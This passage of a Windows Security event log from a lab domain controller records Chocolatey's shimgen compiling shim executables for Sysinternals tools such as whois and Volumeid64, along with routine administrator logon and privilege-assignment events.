Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246977
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdbc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe6c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246976
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdd4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\whois64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_5986\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_5986\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_5986\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_5986\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_5986\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246975
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5b0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdd4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246974
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\whois64.exe" --output="C:\ProgramData\chocolatey\bin\whois64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\whois64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246973
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x868
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x994
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1BFA.tmp" "c:\ProgramData\chocolatey\bin\CSCDFE7446976B74D60A669DD4C3BBC47FB.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246972
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xba0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x994
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246971
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x994
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x468
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\whois.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_3799\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_3799\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_3799\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_3799\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_3799\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246970
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDB957

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246969
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xDB957
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246968
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246967
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246966
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0xAD979

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246965
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x648
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x468
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246964
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x468
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\whois.exe" --output="C:\ProgramData\chocolatey\bin\whois.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\whois.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246963
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa1c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf5c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES1B1F.tmp" "c:\ProgramData\chocolatey\bin\CSCABDB55899184C2F9468F6135BAEBFC.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246962
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdfc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf5c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246961
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf5c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xab0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Volumeid64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_1611\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123430_1611\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_1611\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_1611\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123430_1611\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246960
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7b0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xab0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246959
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Volumeid64.exe" --output="C:\ProgramData\chocolatey\bin\Volumeid64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Volumeid64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:24 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246958
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
